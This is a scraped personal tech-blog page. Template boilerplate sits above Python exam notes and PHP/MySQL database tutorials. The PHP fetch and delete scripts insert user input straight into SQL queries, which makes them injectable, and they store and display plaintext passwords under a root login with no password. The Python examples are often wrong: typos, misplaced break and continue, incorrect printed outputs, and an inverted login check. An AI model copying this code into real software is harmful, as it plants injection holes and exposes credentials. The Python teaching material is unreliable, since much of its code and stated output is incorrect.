-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

  • Python 1st mid sem exam of 3rd semester


    Python 1st mid sem exam of 3rd semester  under ranchi university

     

    Python 1st mid sem exam of 3rd semester Under Ranchi University

     

    Topics covered in this blog

    • Keywords and Identifiers
    • Data types and its function
    • List and its function
    • Dictionary and its function
    • Conditional construct
    • Indentation and Commands
    • Practical Question

     

     



    Keywords and Identifiers



    Python has a set of keywords that are reserved words that cannot be used as variable names, function names or any other identifiers.




    Keywords and Description


    and
    = A logical operator.

    as = The as keyword is used to create an alias. when importing the module. For example -
     

     

    import calendar as c
    print(c.month_name[1])
    

     

     

    We can refer to the calendar module and now we can refer to the calendar module by using a instead of calendar.


    assert = The assert keyword is used when debugging the code.

    The assert keyword lets you test if a condition in your code returns. True, if not, the programmer will raised an assertion error.

     

    For example - 
    
    x = "Hello"
    
    #if condition returns True, then nothing happens
    
    asser x == "Hello"
    
    #if condition returns false, assertion error is raised.
    
    assert x == "goodbye"
    
    

     


    break
    = To break out of a loop. For example
     

     

    for i in range(9):
        if i > 3:
           break
           print(i)
    
    
    

     


    class = To define a class. For example
     

     

    class Person:
          name = "Atul"
          age = 22
    

     

     


    Continue = This keyword is used to end the current iteration in a for loop (or a while loop) and continues to the next iteration.

    For Example
     

     

    for i in range(9):
        if i == 3: 
           continue
           print(i)
    

     


    def = def is used to define a function. For example
     

     

    def myfunction():
        print("Hello world!")
       
    
    myfunction
    

     



    del = To delete a class. For example
     

     

    class myclass:
          name = "Atul"
         
    
    del myclass
    print(myclass)
    
    
    

     



    output   

    NameError: name 'myclass' is not defined
     



    if = This keyword is used to create a conditional statement (if statement) and allows you to execute a block of code only if a condition is True.

     

    x = 5
    if x > 3:
       print("Yes")
    

     

     



    elif = This keyword is used in conditional statement and is short for else if. For example
     

     

    for i in range(-5, 5):
        if i > 0:
            print("Yes")
        elif i == 0:
            print("WHATEVER")
        else:
            print("No")
            
    

     


    else = This is used in also conditional statement. For example 

     

    x = 2
    if x > 3:
       print("Yes")
    else:
       print("No")
    

     

     



    except = Used with expectations, what to do when an exception occurs. For example
     

     

    try:
       x > 3
    except:
       print("Something went wrong")
       print("Even if it is raised an error, the program keeps running")
      
    
    

     

     


    NOTE = (x>3) will raise an error because x is not defined.


    output - Something went wrong...even if it raised an error, the program keeps running.    

     

     


    global = Declare a global variable inside a function and use it outside the function. For example
     


    def myfunction():
        global x
        x = "hello Atul"
        
        
    myfunction()
    
    print(x)
    
    
    

     


    import = import the datetime module and display the current date and time. For example
     

     

    import datetime
    
    x = datetime.datetime.now()
    print(x)
    
    

     

     
    in = The in keywork is used to check if a value is present in a sequence (list, range and string etc)

    The "in" keyword is also used to iterate thorugh a sequence in a for loop.

     

    fruits = ["apple", "banana", "cheery"]
    
    if "banana" in fruits:
        print("Yes")
        
    

     

     


    lambda keyword = The lambda keyword is used to create small anonymous functions.

    lambda function can take any number of argument, but can only have one expression.
     

     

    x = lambda a : a + 10
    print(x)
    

     

     

     

    Python Identifiers

     

    Python identifiers is the name we give to identify a variable, function class module or other object. This means whenever we want to give an entity a name, thats called identifier.



    so, myvariable
        variable_1
        variable_for_print



    • An identification start with the digit, so while variable1 is valid, 1variable is not valid.


    • We cant use special symbol !, #, @, %, $, etc in our identifiers.

     

    For Example


    x = int(input("Enter first number"))
    y = int(input("Enter second number"))
    sum = x + y
    print("The sum of x and y is " , sum)
    
    
    

     


    Q) wap to validate the credentials using python with userid and password

     

     

    def login():
         userid = input("Enter userid")
         pwd = input("Enter password")
         
         if(userid == "Atul" and pwd == "akku"):
            print("You are a valid user")
         else:
            print("You are not a valid user")
         
    
    login()
    

     

     

    Q) wap to display a largest number in python using(if, elif, else)

     

    def largest():
        x = int(input("Enter the value of x \n"))
        y= int(input("Enter the value of y \n")) 
        z = int(input("Enter the value of z \n"))
        
        if(x >= y and y >= z):
          print("x is greater than y")
        elif(y > x and y > z):
          print("y is greater than z")
        else:
          print("z is greater than of all among of them")
    
    largest()        
    
    

     

     


    List and its function



    List is a data type function which store any types of data such as integer, number, string etc.

    There is a so many functions in this list -


    • append()
    • insert()
    • clear()
    • count()
    • copy()
    • copy()
    • remove()
    • index()
    • reverse()
    • extend()



     

    append() = It is a function is used to insert an element and ethe end of the list.


    i = [5, 10, 15, 8, 21]
    i.append(30)
    print(i)
    
    
    

     


    output

    [5, 10, 15, 8, 21, 30]

     


    Insert
    = It is used to insert an element in a specific position in the insert(). Its contains two argument so first contains index number and second the elements.

     

     

    i = [5, 10, 15, 8, 21]
    i.insert(2, 6)
    print(i)
    
    
    

     


    output

    [5, 10, 6, 15, 8, 21]
     

     


    clear() = clear function is used to remove all the elements from the list.
     

     

    i = [5, 10, 15, 8, 21]
    i.clear()
    print(i)
    
    
    

     


    output


    []
     

     


    count() = It is used to count the number of times an element appear in the list. In this function we have to pass the elements name.

     

    i = [5, 10, 15, 8, 10 21]
    i.count(10)
    print(i)
    
    
    

     



    output

    2
     

     


    copy = copy is used to copy one list into another list.

     

    i = [5, 10, 15, 8, 10 21]
    j.copy()
    print(j)
    
    
    

     



    output

    [5, 10, 15, 8, 10 21]


     



    pop()
    = pop() function is used to remove an elements from specific position by passing its index number.


     

     

    i = [5, 10, 15, 8, 21]
    i.pop(2)
    print(i)
    
    
    

     

    output


    [5, 10, 8,21]


     



    remove() = remove function is used to remove an elements by passing the elements name in function.

     



    i = [5, 10, 15, 8, 21]
    i.remove(10)
    print(i)
    

     

     
    output


    [5, 15, 8, 21]




    index() = index() function is used to display the index number or position on the elements in the list. In this function we have to pass the elements name.

     

    i = [5, 10, 15, 8, 21]
    i.index(15)
    print(i)
    
    

     

     


    output


    2

     


    reverse() = reverse() function is used to reverse all of the elements in a list.


     

     

    i = [5, 10, 15, 8, 21]
    i.reverse()
    print(i)
    
    
    
    

     


    output

    [21, 8, 15, 10, 5]

     

     


    extend() = extend() is used to insert all the elements in the last position in the list.
     

     

    i = [5, 10, 15, 8, 21]
    name = ["atul", "hackingtruth"]
    i.extend(name)
    print(i)
    
    

     


    sort() = sort function is used to sort the elements in ascending order or descending order. By default, sort function store the
    elements in ascending order. If we want to display the elements in descending order then we have to use (reverse=true)
     

     

    i = [5, 10, 15, 8, 21]
    i.sort()
    print(i)
    

     

     


    output

    [5, 8, 10, 15, 21]
     

     

     

    In Descending order

     

    i = [5, 10, 15, 8, 21]
    i.sort(reverse=true)
    print(i)
    
    
    

     


    output

    [21, 15, 10, 8, 5]
     

     

     


    Dictionary and its function



    • Dictionary are used to store data values in key: value pairs.
    • Dictionary are written with curly brackets and have keys and values.
    • Dictionary items are ordered.
    • Dictionary are changeable meaning that we can change add or remove items after the dictionary has been created.
    • Duplicates values are not allowed.
    • Dictionary cannot have two items with the same keys.


    • clear()
    • copy()
    • get(keyname)
    • fromkeys()
    • keys()
    • values()
    • items()
    • pop()
    • popitems()
    • update()

     

     
    clear() = clear methods are used to remove all the elements from the dictionary list.

     

    cybersecurity = {
                   "brand" : "Hacking Truth",
                   "domain" : "hackingtruth.org",
                   "service" : "penetration testing"
                   }
                   
    
    cybersecurity.clear()
    
    

     


    output

    {}               
     

     


    copy() = copy function is used to copy one dictionary into another dictionary object.
     

     

    a = {"science" : 67, "maths" : 89}
    b = a.copy()
    print(a)
    print(b)
    
    

     


    output

    {"science" : 67, "maths" : 89}
    {"science" : 67, "maths" : 89}
     

     


    get() = The get method returns the value of the item with the based on key.
     

     

    car = {
            "brand" : "BMW",
            "model" : "Mustand",
            "year" : "1964"
          }
          
          
    x = car.get("model")
    print(x)
    

     

     


    output

    mustang
     
     

     


    fromkey() = It is used to create a dictionary based on the key variable and values variable.
     


    key = [1, 2, 3]
    value = {"java", "c++", "android"}
    dict = fromkeys(key, value)
    print(dict)
    
    
    

     

     
    output

    1 : "java", 2 : "c++", 3 : "android"



     


    keys() = It is used to returns all the keys from the dictionary.
     

     

    dict = {a : "atul", b : "kumar"}
    print(dict.keys())
    
    

     


    output


    dict_keys(['a', 'b'])
     

     


    values() = values is used to return all the value from the dictionary.
     

     

    dict = {1: "java", 2: "c++", 3: "android"}
    value = dict.values()
    print(value)
    
    
    

     


    output

    (["java", "c++", "android"])
     

     

     
    item() = item() is used to return all the keys and value

     

      
    dict = {1: "java", 2: "android"}
    item = dict.items()
    print(item)
    
    
      

     



    pop() = pop() is used to remove an element based on the key path.
     

     

    hisdict = {
              "brand" : "ford",
              "model" : "mustand",
              "year" : "1964"
              }
              
    hisdict.popitem()
    print(hisdict)
    
    

     

     



    output

    {"brand" : "ford", "model" : "mustand"}
     

     

     


    Conditional construct



    In conditional construct python is a block of executed condition become true if condition is becoming not true if check all the elif blocks

    If any of one elif block become true it will print the statement of respective elif block.

    If none of the elif block becming true it executes the else block to define the condition construct. We have to write if inside the paramter and terminate will colon (:) symbol.


    if(avg >= 75):
     

    The body of the construct starts with indentation or block space is space of curly braces.

     

     

    sub1 = int("Enter the marks of student1")
    sub2 = int("Enter the marks of student2")
    sub3 = int("Enter the marks of student3")
    
    
    
    avg = (sub1 + sub2 + sub3)/3
    
    if(avg >= 75):
       print("Grade A")
    elif(avg >= 60 and avg < 75):
       print("Grade B")
    elif(avg >= 50 and avg < 60):
       print("Grade C")
    else:
       print("Grade D")
      
    
    

     



    For loop = for i in marks:

    i = variable (iterate, traverse)
    marks = sequence(list, tuple)
     

     


    In python for loop is used to iterate or traverse in the element of sequence. The sequence can be list tuple, list, dictionary or any string data type. We can stop the execution of for loop by using the break statement.

    We can also give else block in for statement and the else block will block when all the condition becomes false even break statement also.
     

     

      
    For example1
    
    num = [5, 10, 15 ,20]
    for i in num:
        print(i)
    
    
    
    For example2
    
    num = [5, 10, 15, 20]
    sum = 0
    for i in num:
         sum = sum + i
         
    print("sum is " , sum)
    
    
    marks = {"Atul" : 85, "hackingtruth" : 99}
    
    name = input("Enter a name")
    
    for student in marks:
         if(student == name):
            print(marks[student])
            break
         else:
            print("No such name exit")   
    
    
    
    
      
      

     

     

    Practical Question

     

    1Q) wap to add, mul, sub, divide using function ?

     

     

    #!/usr/bin/python
    
    a = int(input("Enter first value : "))
    b = int(input("Enter second value : "))
    
    def add():
        c = a + b
    #    a = 5 + 5
        print("The sum of a and b is : " , c)
    
    def sub():
        c = a - b
    #    b = 5 - 5
        print("The subtraction of a and b is : " , c)
    
    def mul():
        c = a * b 
    #    c = 5 * 5
        print("The multiplication of a and b is : " , c)
    
    def div():
        c = a / b
    #    d =  5 / 5
        print("The division of a and b is : " , c)
    
    
    add()
    sub()
    mul()
    div() 
     

     




    Python 1st mid sem exam of 3rd semester




    2Q) wap to validate a user using dictionary?

     

     

    #!/usr/bin/python
    
    Dict = {"atul" : "atul143", "hackerboy" : "hackerboy143" }
    
    a = input("Enter the username : ")
    b = input("Enter the password : ")
    
    if a and b not in Dict:
       print("You are a valid user")
    else:
       print("You are not a valid user") 
     
     
     

     Python 1st mid sem exam of 3rd semester

     

     

    3Q) wap to using Tk() function interface to add the number?

     

     

     

    from tkinter import *
    
    win = Tk()
    win.geometry("400x400")
    
    Label(win, text="Your First Number:").grid(row=0, column=0)
    Label(win, text="Your Second Number:").grid(row=1, column=0)
    
    # define the label, step 1
    label3 = Label(win)
    
    # set grid, step 2
    label3.grid(row=3, column=1)
    
    first_no = IntVar()
    second_no = IntVar()
    
    
    
    # same goes for here
    e1 = Entry(win, textvariable=first_no).grid(row=0, column=1)
    e2 = Entry(win, textvariable=second_no).grid(row=1, column=1)
    
    
    def add():
        sum = first_no.get() + second_no.get()
        label3.config(text="your final number is:" + str(sum))
    
    mybutton = Button(win, text=("Calculate!"), command=add).grid(row=2, column=1)
    
    win.mainloop()
    
    

     

     

     


     

     

     5Q) wap in python using append, remove, reverse and extend list item?

     

     

    #!/usr/bin/python
    
    listitem = [5, 10, 15, 8, 21]
    print("Before performing the operation " , listitem)
    
    #append
    
    listitem.append(30)
    print("After appending some values : " , listitem)
    
    #remove
    
    listitem.remove(15)
    print("Now, Removing 15 no element from list : " , listitem)
    #
    #reverse
    
    listitem.reverse()
    print("After reversing values : " , listitem)
    
    #extend
    
    name = ["atul", "hackingtruth"]
    listitem.extend(name)
    print("after using extending func : " , listitem)
    
    

     

     

     

    Python 1st mid sem exam of 3rd semester

     

     

     

    6Q) wap to insert product ID, product name and product price in list date types and display it?


     

    #!/usr/bin/python
    
    pid = int(input("Enter the product id (1, 2, 3...) : "))
    pname = input("Enter the  product name : ")
    pprice = input("Enter the product price : ")
    
    list1 = []
    
    list1.append(pid)
    list1.append(pname)
    list1.append(pprice)
    print(list1)
    
    
    

     

     

     

    Python 1st mid sem exam of 3rd semester



     

     

     

    7Q) wap to create a dictionary and add all of the value and also display maximum and minimum value?

     

     

    #!/usr/bin/python
    
    Dict = {"x" : 50, "y" : 60, "z" : 45}
    print(Dict)
    total = 0
    for i in Dict.values():
        total = total + i
    
    print("Sum " , total)
    print("The maximum value is " , max(Dict.values()))
    print("The Minimum value is " , min(Dict.values()))
    
    

     

     

     

     Python 1st mid sem exam of 3rd semester

     

     

    8Q) create a dictionary and add some item in dictionary and display it?

     

     

    #!/usr/bin/python3
    
    a = input("Enter the key attribute name : ")
    b = input("Enter the value of key attribute : ")
    
    Dict = {}
    Dict.update({a : b})
    print(Dict)
    
    
    

     

    Python 1st mid sem exam of 3rd semester

     

     

     

    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • Deleting data from database by user input

     

    Deleting data from database by user input

     

     Deleting data from database by user input

     

     

    There are different programming languages currently in use, of which some are open source while others are proprietary. Open source basically refers to a program in which the source code is available to the public, free of cost, for use or for modification from its original design.

    Here we will Deleting data from database by user input for which we will use programmatic method with the help of PHP and MYSQL .

     

    Syntax of PHP


     <?php

     

     //Content goes here 

     

    ?>

     

     

     

    deletingdata.php

     

     

    <!DOCTYPE html>
    <html>
    <head>
    <title>Deleting Data</title>
    
    <style>
    
    body {
    	background: linear-gradient(to right, #1e5799 0%, #3ccdbb 20%, #16c9f6 100%);
    	
    }
    
    .form-css
    {
    	top: 50%;
    	left: 50%;
    	transform: translate(-50%, -50%);
    	position: absolute;
    	background-color: white;
    	border: 2px solid black;
    	border-radius: 20px;
    	padding: 50px;
    }
    
    
    .avatar-image img
    {
    	 justify-content: center;
    	 top: 0%;
    	 left: 50%;
    	 transform: translate(-0%, -50%);
    	position: absolute;
    	border: 1px solid black;
        border-radius: 50%;	
    	
    }
    
    button {
    	font-family: sans-serif;
    	padding: 5px;
    	cursor: pointer;
    }
    
    
    </style>
    
    
    
    
    </head>
    
    <body>
    <div class="container">
    
    <form action="controller/deletingdata-db.php" method="POST" class="form-css">
    <div class="avatar-image">
    <img src="image/avatar.png"  alt="avatar">
    </div>
    <br />
    <br />
    <label>Delete Data with ID Number</label>
    <br />
    <br />
    <input type="text" name="id" placeholder="Enter ID Number">
    <br />
    <br />
    <button type="submit" name="submit">Deleting Data</button>
    
    </form>
    </div>
    
    </body>
    </html>
    
    

     

     

     

    Then again we will create a new file called deletingdata-db.php and this file related with above the program for database as a mediator.

     

    deletingdata-db.php

     

     

    <?php
    
    
    require_once("connectionstring.php");
    
    
    $id = $_POST["id"];
    
    
    if(!$conn)
    {
    die("Connection Problem : " . mysqli_connect_error());
    }
    
    
    $sql = "Delete FROM logintable WHERE id='$id'";
    
    
    if(mysqli_query($conn, $sql))
    {
    	echo "<br>";
    	echo "<br>";
        echo "It has been deleted.";
    	echo "<br>";
    	echo "<br>";
    	echo "<a href='../gettingdata.php'>Getting Data From Database</a>";
    	echo "<br>";
    	echo "<br>";
    	echo "<a href='../deletingdata.php'>Deleting Data From Database</a>";
     
    }
    else {
    	echo "<br>";
    	echo "<br>";
        echo "Error. This name does not have an ID in our Database : " . mysqli_error($conn);
    	echo "<br>";
    	echo "<br>";
    	echo "<a href='../gettingdata.php'>Getting Data From Database</a>";
    	echo "<br>";
    	echo "<br>";
    	echo "<a href='../deletingdata.php'>Deleting Data From Database</a>";
    }
    
    
    mysqli_close($conn);
      
     
    ?>
    
    

     

     

    output

     

    Deleting data from database by user input

     

     

     

    Deleting data from database by user input

     

     

     

    Explaination




    => require_once("connectionstring") - This will produce a fatal error and stop the script.

    OR

    => include() - This will produce a warning and the script continue.



    => $conn is our new variable.


    => mysqli_connect() - The mysqli_connect() function attempts to open a connection to the MySQL Server running on host which can be either a host name or an IP address.


    Passing the NULL value or the string "localhost" or variable name to this parameter.

    Now we will check the connection whether the connection is working successfully or not!!  Actually here we will  "if and else" condition.


    => die()  - The die() function prints a message and exits the current script.


    => mysqli_connect_error() - This will produce a mysqli connection error and whats the reason of failure.


    => $sql - its a variable but in this variable we store the mysql query for select id, email
    password from table according to user input ID.



    =>  mysqli_query()
    -  mysqli_query() what it returns. The return value could be a boolean(true/false)



     

     

    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • Fetching data from database by user input

     

    Fetching data from database by user input


    Fetching data from database by user input

     

    There are different programming languages currently in use, of which some are open source while others are proprietary. Open source basically refers to a program in which the source code is available to the public, free of cost, for use or for modification from its original design.

    Here we will Fetching data from database by user input for which we will use programmatic method with the help of PHP and MYSQL.

     

     

    Syntax of PHP


     <?php

     

     //Content goes here 

     

    ?>

     

     


    gettingdata.php



    <!DOCTYPE html>
    <html>
    <head>
    <title>Getting Data</title>
    
    <style>
    
    body {
    	background: linear-gradient(to right, #1e5799 0%, #3ccdbb 20%, #16c9f6 100%);
    	
    }
    
    .form-css
    {
    	top: 50%;
    	left: 50%;
    	transform: translate(-50%, -50%);
    	position: absolute;
    	background-color: white;
    	border: 2px solid black;
    	border-radius: 20px;
    	padding: 50px;
    }
    
    
    .avatar-image img
    {
    	 justify-content: center;
    	 top: 0%;
    	 left: 50%;
    	 transform: translate(-0%, -50%);
    	position: absolute;
    	border: 1px solid black;
        border-radius: 50%;	
    	
    }
    
    button {
    	font-family: sans-serif;
    	padding: 5px;
    	cursor: pointer;
    }
    
    
    </style>
    
    
    
    
    </head>
    
    <body>
    <div class="container">
    
    <form action="controller/gettingdata-db.php" method="POST" class="form-css">
    <div class="avatar-image">
    <img src="image/avatar.png"  alt="avatar">
    </div>
    <br />
    <br />
    <label>Enter ID Number</label>
    <input type="text" name="id" placeholder="Enter ID Number">
    <br />
    <br />
    <button type="submit" name="submit">Getting Data</button>
    
    </form>
    </div>
    
    </body>
    </html>
    
    



     

     

    Then again we will create a new file called gettingdata-db.php and this file related with above the program for database as a mediator.

     

    gettingdata-db.php

     

     

    <?php
    
    
    require_once("connectionstring.php");
    
    $id = $_POST["id"];
    
    	
    	
    if(!$conn)
    {
    	die("Connection failed : " . mysqli_connect_error());
    	
    }
    
    
    
    $sql = "SELECT id, email, password FROM logintable WHERE id='$id'";
    
    $result = $conn -> query($sql);
    
    if($result -> num_rows > 0)
    {
    	//output data of each row
    	while($row = $result -> fetch_assoc())
    	{
    		
    		
    	echo "id : " . $row ["id"] . " - email : " .
    		$row ["email"] . " | Password : " . $row ["password"] . "<br>";
    	
    	echo "<br>";
    	echo "<br>";
    	echo "<a href='../deletingdata.php'>Deleting Data From Database</a>";
        echo "<br>";
    	echo "<br>";
    	echo "<a href='../gettingdata.php'>Getting Data From Database</a>";
    
    
    	}
    }
    else {
    	echo " 0 results ";
    	echo "<br>";
    	echo "<br>";
    	echo "<a href='../deletingdata.php'>Deleting Data From Database</a>";
    	echo "<br>";
    	echo "<br>";
    	echo "<a href='../gettingdata.php'>Getting Data From Database</a>";
    
    }
    
    mysqli_close($conn);
    	
    
    ?>
    
    

     

     

    output

     

     


     

     

     

     


     

     

    Explaination




    => require_once("connectionstring") - This will produce a fatal error and stop the script.

    OR

    => include() - This will produce a warning and the script continue.



    => $conn is our new variable.


    => mysqli_connect() - The mysqli_connect() function attempts to open a connection to the MySQL Server running on host which can be either a host name or an IP address.


    Passing the NULL value or the string "localhost" or variable name to this parameter.

    Now we will check the connection whether the connection is working successfully or not!!  Actually here we will  "if and else" condition.


    => die()  - The die() function prints a message and exits the current script.


    => mysqli_connect_error() - This will produce a mysqli connection error and whats the reason of failure.


    => $sql - its a variable but in this variable we store the mysql query for select id, email
    password from table according to user input ID.


    => $result -> $conn -> query() - For successful queries which produce a result set, such
    as SELECT, SHOW, DESCRIBE or EXPLAIN , mysqli_query() will return a mysqli_result object.
    For other successful queries, mysqli_query() will return true .


    =>  mysqli_query()
    -  mysqli_query() what it returns. The return value could be a boolean(true/false)


    =>  mysqli_fetch_assoc() - This function fetches a result row as an associative array.
    Note: Fieldnames returned from this function are case-sensitive.



     

     

    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • Adding content in table with the help of PHP and MySQL

     

    adding content in table with the help of PHP and MySQL

     

    There are different programming languages currently in use, of which some are open source while others are proprietary. Open source basically refers to a program in which the source code is available to the public, free of cost, for use or for modification from its original design.

    Here we will create table in database section for which we will use programmatic method with the help of PHP and MYSQL .


    Write a program to Add Content in Table with the help of PHP and MySQL ? 

     

    Syntax of PHP


     <?php

     

     //Content goes here 

     

    ?>

     

     


     

    <?php
    
    require_once("connectionstring.php");
    
    $host = 'localhost';
    $user = 'root';
    $pwd = '';
    $db = 'loginpanel';
    
    $conn = mysqli_connect($host, $user, $pwd, $db);
    
    // connection check
    
    if(!$conn)
    {
    	die("Connection failed : " . mysqli_connect_error());
    }
    
    
    $sqltable = "INSERT INTO `logintable` (`id`, `email`, `password`) 
    VALUES ('3', 'kumaratuljaiswal.com@gmail.com', 'truth@.inatul#!43')";
    
    
    
    if(mysqli_query($conn, $sqltable))
    {
    		echo "Adding Table Content Created Successfully";
    }
    else 
    {
    	echo "Error adding table content : " . mysqli_error($conn);
    }
    
    
    
    
    mysqli_close($conn);
    
    
    
    ?>
    

     

     

     


     

     

     

     

     Explaination

     

     => $host = 'localhost';  $host is a variable which is used to store a value like localhost and localhost
    is our server.


    => $user = 'root'; $user as it same just like above the sentence but here is one difference and the difference
    is that its a user like root user of our xampp machine localhost.


    => $pwd = ''; 
     

    In this variable here is empty value of $pwd variable because we dont want any type of problem means no need of authentication.


    => $db = 'loginpanel'; - Loginpanel is our database name.


    Now you must be thinking what is this authentication!! dont worry click here for more information.


    => $conn is our new variable.


    => mysqli_connect() - The mysqli_connect() function attempts to open a connection to the MySQL Server running on host which can be either a host name or an IP address.


    Passing the NULL value or the string "localhost" or variable name to this parameter.

    Now we will check the connection whether the connection is working successfully or not!!  Actually here we will  "if and else" condition.


    => die()  - The die() function prints a message and exits the current script.


    => $sqltable - its a variable but in this variable we store the mysql query for inserting content in  table
    according to our demand.


    =>  mysqli_query() -  mysqli_query() what it returns. The return value could be a boolean(true/false)


     

     


    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • Create a table and its column with the help of PHP and MySQL

     

     

    Create a table and its column with the help of PHP and MySQL

     

     

    There are different programming languages currently in use, of which some are open source while others are proprietary. Open source basically refers to a program in which the source code is available to the public, free of cost, for use or for modification from its original design.

    Here we will create table in database section for which we will use programmatic method with the help of PHP and MYSQL .


    Write a program to create a Table and its column with the help of PHP and MySQL ? 

     

     

    Syntax of PHP


     <?php

     

     //Content goes here 

     

    ?>

     

     

    <?php
    
    $host = 'localhost';
    $user = 'root';
    $pwd = '';
    $db = 'loginpanel';
    
    $conn = mysqli_connect($host, $user, $pwd, $db);
    
    
    
    if(!$conn)
    {
    	die("Network Problem");
    	
    }
    
    $sql = "CREATE TABLE `loginpanel`.`logintable` ( `id` INT NULL AUTO_INCREMENT , `email` VARCHAR(50) NOT NULL , 
               `password` VARCHAR(100) NOT NULL , PRIMARY KEY (`id`))";
    		 
    
    $result = mysqli_query($conn, $sql);
    
    if($result) 
    {
    	echo  "The table has been created successfully";
    }
    else {
    	echo "The table has not been created because of this error ---> " .mysqli_error($conn);
    }
    
    
    ?>
    
    

     

     

     Explaination

     

     => $host = 'localhost';  $host is a variable which is used to store a value like localhost and localhost
    is our server.


    => $user = 'root'; $user as it same just like above the sentence but here is one difference and the difference
    is that its a user like root user of our xampp machine localhost.


    => $pwd = ''; 
     

    In this variable here is empty value of $pwd variable because we dont want any type of problem means no need of authentication.


    => $db = 'loginpanel'; - Loginpanel is our database name.


    Now you must be thinking what is this authentication!! dont worry click here for more information.


    => $conn is our new variable.


    => mysqli_connect() - The mysqli_connect() function attempts to open a connection to the MySQL Server running on host which can be either a host name or an IP address.


    Passing the NULL value or the string "localhost" or variable name to this parameter.

    Now we will check the connection whether the connection is working successfully or not!!  Actually here we will  "if and else" condition.


    => die()  - The die() function prints a message and exits the current script.


    => $sql - its a variable but in this variable we store the mysql query for creating a table and its column
    according to our demand.


    =>  mysqli_query() -  mysqli_query() what it returns. The return value could be a boolean(true/false)



     

    Simply run in your favourite browser by xampp server



    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

     


  • Create a Database with the help of PHP and MySQL

     

    Create a Database with the help of PHP and MySQL

     

     

    There are different programming languages currently in use, of which some are open source while others are proprietary. Open source basically refers to a program in which the source code is available to the public, free of cost, for use or for modification from its original design.

     

    Here we will create database for which we will use programmatic method with the help of PHP and MYSQL .

     

    Write a program to create a Database with the help of PHP and MySQL ? 

     

     Syntax of PHP

     <?php

     

     //Content goes here 

     

    ?>

     

    NOTE - // double forward slash is the comment in PHP.

     

     

    <?php
    
    $host = 'localhost';
    $user = 'root';
    $pwd = '';
    
    $conn = mysqli_connect($host, $user, $pwd);
    
    
    
    if(!$conn )
    {
    	die("Connection failed : " . mysqli_connect_error());
    }
    
    
    $sql = "CREATE DATABASE loginpanel";
    
    if(mysqli_query($conn, $sql))
    {
    	echo "Database created successfully";
    }
    else {
    	echo "Error Creating Database : " . mysqli_errno($conn);
    }
    mysqli_close($conn);
    
    
    ?>
    
    





    Explaination


    => $host = 'localhost';  $host is a variable which is used to store a value like localhost and localhost
    is our server.


    => $user = 'root'; $user as it same just like above the sentence but here is one difference and the difference is that its a user like root user of our xampp machine localhost.


    => $pwd = '';   

    In this variable here is empty value of $pwd variable because we dont want any type of problem means no need of authentication.

    Now you must be thinking what is this authentication!! dont worry click here for more information.


    => $conn is our new variable.


    => mysqli_connect() - The mysqli_connect() function attempts to open a connection to the MySQL Server running on host which can be either a host name or an IP address.

    Passing the NULL value or the string "localhost" or variable name to this parameter.

    Now we will check the connection whether the connection is working successfully or not!!  Actually here we will  "if and else" condition.

    => die()  - The die() function prints a message and exits the current script.

    => mysqli_connect_error() - PHP mysqli_connect_error() function returns an string value representing the description of
    the error from the last connection call, incase of a failure. If the connection was successful
    this function returns Null.

    =>  mysqli_error()  - The mysqli_error() function is used to return the error in the most recent MySQL function call that failed.

    =>  mysqli_query()-  mysqli_query() what it returns. The return value could be a boolean(true/false)

    =>  mysqli_close() - The close() / mysqli_close() function closes a previously opened database connection.


    Simply run in your favourite browser by xampp server



    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • TryHackMe Web Exploitation Patch Management Is Hard

     

     

    TryHackMe Web Exploitation Patch Management Is Hard

     

     

